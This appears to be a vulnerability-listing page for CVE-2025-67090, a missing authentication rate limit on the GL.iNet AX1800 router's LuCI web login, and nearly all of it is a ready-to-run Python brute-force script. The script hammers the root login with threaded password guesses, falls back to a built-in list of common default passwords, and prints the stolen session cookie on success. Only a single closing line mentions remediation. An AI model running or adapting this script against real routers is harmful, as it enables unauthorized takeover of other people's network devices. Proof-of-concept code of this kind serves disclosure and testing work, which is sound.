CVE-2025-67090 | Gl.Inet AX1800 LuCI Web界面缺少认证速率限制

#!/usr/bin/env python3 # CVE-2025-67090 PoC - Gl.Inet AX1800 Bruteforce Attack # This PoC demonstrates the lack of rate limiting on authentication endpoint import requests import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "http://{router_ip}/cgi-bin/luci" # Replace with target IP USERNAME = "root" PASSWORD_FILE = "passwords.txt" MAX_THREADS = 10 DELAY_BETWEEN_REQUESTS = 0.1 def attempt_login(password): """Attempt login with given credentials""" try: data = { "username": USERNAME, "password": password.strip() } response = requests.post(TARGET_URL, data=data, timeout=10) # Check for successful login indicators if response.status_code == 200 and "sysauth" in response.cookies: return True, password.strip(), response # No rate limiting detected - continue attempts return False, password.strip(), response except requests.exceptions.RequestException as e: return False, password.strip(), str(e) def main(): if len(sys.argv) > 1: router_ip = sys.argv[1] else: router_ip = input("Enter router IP: ") target = TARGET_URL.format(router_ip=router_ip) print(f"[*] Target: {target}") print(f"[*] Username: {USERNAME}") print(f"[*] Starting brute force attack (no rate limiting detected)...") try: with open(PASSWORD_FILE, 'r') as f: passwords = f.readlines() except FileNotFoundError: print(f"[!] Password file not found. Using common passwords...") passwords = ['admin', 'password', '123456', 'admin123', 'default', 'glinet'] found = False attempt_count = 0 with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor: futures = {executor.submit(attempt_login, pwd): pwd for pwd in passwords} for future in as_completed(futures): success, password, response = future.result() attempt_count += 1 if success: print(f"\n[!] SUCCESS! Valid credentials found:") print(f" Username: {USERNAME}") print(f" Password: {password}") print(f" Auth Cookie: {response.cookies.get('sysauth')}") found = True executor.shutdown(wait=False) break else: if attempt_count % 10 == 0: print(f"[*] Attempts: {attempt_count} - No rate limiting detected...") if not found: print(f"\n[-] Attack completed. {attempt_count} attempts made.") print("[-] No valid credentials found in password list.") if __name__ == "__main__": main() # Remediation: Upgrade to GL.Inet AX1800 firmware version 4.8.2